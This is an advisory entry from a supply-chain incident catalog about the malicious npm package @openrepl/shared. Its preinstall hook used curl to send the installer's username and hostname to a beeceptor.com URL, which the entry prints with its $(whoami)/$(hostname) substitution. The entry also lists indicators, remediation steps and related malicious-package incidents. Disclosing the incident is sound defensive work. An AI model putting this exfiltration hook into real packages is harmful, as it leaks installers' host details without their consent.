Malicious code in @openrepl/shared (npm)
The npm package @openrepl/shared contained malicious code that executed a preinstall hook to exfiltrate the installer's OS username and hostname to an external service (beeceptor.com). The package provided no legitimate functionality and was designed solely for data collection.
- Disclosed
- Last updated
- Blast radius
- All npm users who installed @openrepl/shared during the malicious distribution window.
- Ecosystems
- Attack vectors
- Affected entities
- @openrepl/sharednpm package containing malicious preinstall hook
The npm package @openrepl/shared was distributed with malicious code embedded in its preinstall hook. The package.json declared a node index.js preinstall script that automatically executed during npm install.\n\nThe index.js file used Node.js child_process to execute a curl command that sent a POST request to https://youjoex.free.beeceptor.com/$(whoami)/$(hostname). This command embedded the installer's OS username and hostname (via shell command substitution) directly into the URL path, exfiltrating this information to beeceptor.com, a public request-inspection service commonly used for low-effort data exfiltration.\n\nThe package advertised no legitimate functionality and contained no library code consistent with its "shared" name, indicating it was created solely for malicious purposes. The incident was identified and credited to the OpenSSF's malicious-packages repository.\n\nThe package has been removed from npm and the incident is considered resolved.
Indicators of compromise
- Packages
- @openrepl/shared
- Domains
- youjoex.free.beeceptor.com
Remediation
- Remove @openrepl/shared from all projects immediately
- Audit npm install logs and environment variables for any suspicious activity during the installation window
- Change credentials and review account activity on systems where @openrepl/shared was installed
- Monitor for any unauthorized access or data exfiltration from affected systems
- Review npm audit logs and consider using npm package integrity verification tools
- Implement preinstall script inspection and approval workflows in your npm dependency management process
Sources
- GitHub Advisory GHSA-2253-v578-ppx8 · GitHub Advisory Database
Cite this entry
"Malicious code in @openrepl/shared (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed August 15, 2026; last updated August 15, 2026. https://supplychainattack.org/incident/malicious-code-in-openrepl-shared-npm-860ied
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- containedcritical
Malicious code in 3-buildsight-web (npm)
The npm package 3-buildsight-web contains malicious code that fetches and executes arbitrary JavaScript from a remote Bitbucket URL on module load, granting full page privileges to an unverified third party.
npmCompromised package - resolvedcritical
Malicious code in @usaa-grp-personal-profile/personal-profile-common (npm)
Malicious package @usaa-grp-personal-profile/personal-profile-common version 999.0.0 published to public npm as a dependency-confusion attack targeting an organization's internal registry. The package contains preinstall and postinstall hooks that exfiltrate hostname, username, and working directory to an attacker-controlled OAST endpoint on every install.
npmDependency confusionCompromised package - resolvedcritical
Malicious code in create-coin (npm)
create-coin@20.1.1 on npm contained malicious postinstall code that collected sensitive environment variables, credentials, and host reconnaissance data. The package impersonated an esbuild platform build and exfiltrated data to a hardcoded endpoint.
npmCompromised packageTyposquatting - resolvedcritical
Malicious code in @syncraft-labs/vue (npm)
The npm package @syncraft-labs/vue version 0.4.1 contained malicious obfuscated code in its ESM build that implements a blockchain-hosted C2 dropper (EtherHiding pattern), enabling remote code execution on any consumer importing the package.
npmCompromised package